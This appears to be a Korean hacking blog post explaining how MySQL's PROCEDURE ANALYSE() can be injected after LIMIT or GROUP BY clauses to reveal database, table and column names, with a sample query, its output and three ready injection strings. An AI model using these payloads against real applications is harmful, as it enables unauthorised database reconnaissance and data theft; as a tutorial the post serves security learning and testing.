MySQL procedure analyze()를 이용한 SQLi
MySQL에서는 특정 쿼리에 대한 성능 개선을 위해 procedure analyse() 함수를 제공한다. 이 함수는 LIMIT statement와 GROUP BY statement 뒤에서도 사용할 수 있다는 특징이 있기 때문에 해당 statement에서 사용자 입력을 그대로 SQL query에 적용할 경우 개발자가 의도치 않은 상황을 만들어낼 수 있다. LIMIT, GROUP BY statement에서는 MySQL에서 SQL Injection 공격 시 사용하는 웬만한 함수들을 사용할 수 없으므로, 공격자 입장에서는 정말 매력적인 공격 시도가 될 수 있다.
그리고 상황에 따라 테이블의 이름을 알아낼 수 있다. 예를 들어 PHP의 MySQL Query Fetch 계열 함수에서는 mysqli_fetch_array, mysqli_fetch_assoc, mysqli_fetch_row 총 3가지의 함수를 사용해서 QUERY Result를 Fetching하는데, mysqli_fetch_row를 이용하여 $row[0] 과 같은 형식으로 접근하는 경우에 운이 좋으면 PROCEDURE ANALYSE() 함수의 결과값을 얻을 수 있다.
select * from [table_name] where [condition] procedure analyze()
+-----------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+----------------------+
| Field_name | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std | Optimal_fieldtype |
+-----------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+----------------------+
| test.rank.id | aaa | aaa | 3 | 3 | 0 | 0 | 3.0000 | NULL | ENUM('aaa') NOT NULL |
| test.rank.score | 1 | 1 | 1 | 1 | 0 | 0 | 1.0000 | 0.0000 | ENUM('1') NOT NULL |
+-----------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+----------------------+
2 rows in set (0.00 sec)
Field_name을 통해서 현재 작업중인 데이터베이스와 테이블 이름을 가져올 수 있다. 이를 조금 더 응용해서 LIMIT statement를 이용하면 테이블 내의 모든 column의 이름을 가져오는 것이 가능하다.
x = 1 PROCEDURE ANALYSE() #get first column name
x = 1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name
x = 1 LIMIT 2,1 PROCEDURE ANALYSE() #get third column name
[*] special thx to Reiners’ Weblog ( https://websec.wordpress.com/2009/01/26/mysql-table-and-column-names-update/ )
'Hacking > Web.' 카테고리의 다른 글
sqli시 공백우회 (0) | 2017.02.02 |
---|---|
mysql error based sql injection (0) | 2017.01.25 |
Blind SQL Injection 시 테이블 수 (0) | 2017.01.22 |
Error Based SQLi (2) | 2017.01.20 |
SQLi 문자열 비교(?) (0) | 2017.01.12 |